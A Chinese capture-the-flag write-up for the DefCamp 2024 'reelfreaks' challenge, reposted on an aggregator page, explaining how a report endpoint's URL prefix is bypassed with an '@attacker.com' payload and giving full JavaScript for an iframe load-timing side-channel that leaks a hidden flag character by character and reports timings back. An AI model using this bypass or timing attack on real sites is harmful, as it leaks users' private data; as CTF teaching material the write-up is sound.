当前位置: 首页 > news >正文

CSRF攻击 + 观测iframe加载时间利用时间响应差异侧信道攻击 -- reelfreaks DefCamp 2024

参考: https://0x90r00t.com/2024/09/30/3708/

题目信息

有些事情最好还是保持低调。当然,除非你是个真正的怪胎。
注意:该网站通过HTTPS提供服务
标志格式:DCTF{}

题目实现了一个类似视频网站的东西

在其提供的数据库中我们能看到被ban的视频,其名称为flag的值

被ban的东西只能由管理员查看

if movie.banned != False and current_user.role != 'real_freak':movies.pop(i)

此处存在我们可以控制的url

# 定义报告路由,处理 POST 请求,需要登录才能访问
@main.route('/report', methods=['POST'])
@login_required
def report():# 构建访问的 URLurl = "https://127.0.0.1" + request.form.get('movie')# 创建一个新线程,调用 visit 函数访问该 URLthread = threading.Thread(target=visit,args=(url,))# 启动线程thread.start()return 'OK'

我们可以构造类似如下的有效负载

https://127.0.0.1@attacker.com

当大文件被加载,其会产生一定的延迟,我们可以使用iframe观测其加载完成的时间

参考: https://0x90r00t.com/2024/09/30/3708/

<body></body>
<script type="text/javascript">
// 定义所有可能用于破解flag的候选字符集(注意:字符 `_` 缺失,`` 可能存在排版错误)
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';// 存储每个字符的响应时间测量结果
let timings = {};// 当前猜测的flag(初始值为占位flag,实际会通过时间分析逐步破解)
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';// 当前正在测试的字符索引(按characters顺序遍历)
let charIndex = 0;// 最大测试轮次(初始值为0,可能需要调整以增加准确性)
let maxRounds = 0;// 根据记录的响应时间对字符排序(降序,时间越长排越前)
function getSortedKeysByTiming(timings) {return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}// 向服务器发送日志(用于远程记录测试数据)
function log(message) {const xhr = new XMLHttpRequest();xhr.open("GET", "/?" + message); // 将数据通过GET参数发送xhr.send();
}/*** 测量特定字符组合的响应时间* @param {string} char - 当前测试的字符* @param {string} flag - 当前猜测的完整flag(包含已确定字符+测试字符)*/
function measureTiming(char, flag) {// 通过隐藏的iframe发起请求,测量加载时间const iframe = document.createElement('iframe');// 请求本地服务器接口,q参数携带猜测的flagiframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);document.body.appendChild(iframe);const startTime = performance.now(); // 记录精确的时间起点// 根据iframe加载结果更新计时数据iframe.onload = () => updateTiming(char, performance.now() - startTime);iframe.onerror = () => updateTiming(char, -1); // 错误时记录-1
}/*** 更新字符计时数据并继续处理* @param {string} char - 被测试的字符* @param {number} time - 测量的响应时间(毫秒)*/
function updateTiming(char, time) {// 仅保留最大时间值(假设正确字符会触发更长响应)if (!(char in timings) || time > timings[char]) {timings[char] = time;}log(`${char}: ${time}`); // 发送日志clearFrames();           // 清理iframeprocessNextChar();       // 处理下一个字符
}// 清除所有iframe防止内存泄漏
function clearFrames() {document.body.innerHTML = ''; // 清空body内所有内容
}/*** 主逻辑:按顺序测试每个字符,完成一轮后分析结果*/
function processNextChar() {// 遍历所有候选字符if (charIndex < characters.length) {const currentChar = characters[charIndex];// 测试当前猜测flag+当前字符的组合(例如:"DCTF{a")measureTiming(currentChar, currentFlag + currentChar);charIndex++;} else {// 一轮完成,按响应时间排序字符const sortedKeys = getSortedKeysByTiming(timings);log('fini ' + sortedKeys.join(',')); // 上报结果// 如果还有剩余轮次,重置索引继续测试(可能需要多轮验证)if (maxRounds-- > 0) {charIndex = 0;processNextChar();}}
}// 启动时间攻击
processNextChar();
</script>

相关文章:

  • MySQL数据类型之VARCHAR和CHAR使用详解
  • 湖北理元理律师事务所:债务优化如何实现“减负不降质”?
  • fscanf 读取问题指南
  • 【递归、搜索和回溯】穷举vs暴搜vs深搜vs回溯vs剪枝
  • (独家)SAP CO模块中 销售发票对应的Cost Document中的PSG对象是什么东东??
  • 网站漏洞存在哪些危害,该如何做好预防?
  • SQL练习——day01
  • 告别碎片化!MCP 带来 AI Agent 开发生态的革命性突破
  • Makefile 详解
  • 电商热销榜的5种实现方案
  • 平替BioLegend品牌-Elabscience PE/Cyanine5.5标记CD11b抗体,高性价比解决方案!
  • MySQL 8.0 OCP 1Z0-908 题目解析(4)
  • 2025 OceanBase 开发者大会全议程指南
  • Console Importer浏览器插件的编译 及 制作成.crx浏览器插件的步骤
  • Trae - 国人Cursor的免费平替产品
  • Unity基础学习(十五)核心系统——音效系统
  • Scratch作品 | 3D原野漫游
  • 数据分析NumPy
  • Modbus转IEC104网关(三格电子)
  • Weblogic SSRF漏洞复现(CVE-2014-4210)【vulhub靶场】
  • 陕西省市监局通报5批次不合格食品,涉添加剂超标、微生物污染等问题
  • 中期选举后第三势力成“莎拉弹劾案”关键,菲律宾权斗更趋复杂激烈
  • 中国情怀:时代记录与家国镜相|澎湃·镜相第三届非虚构写作大赛暨七猫第六届百万奖金现实题材征文大赛征稿启事
  • 一种声音·阿甘本|即将到来的中世纪;“新”与“旧”……
  • 媒体:中国女排前队长朱婷妹妹被保送浙大受质疑,多方回应
  • 澎湃·镜相第二届非虚构写作大赛初选入围名单公示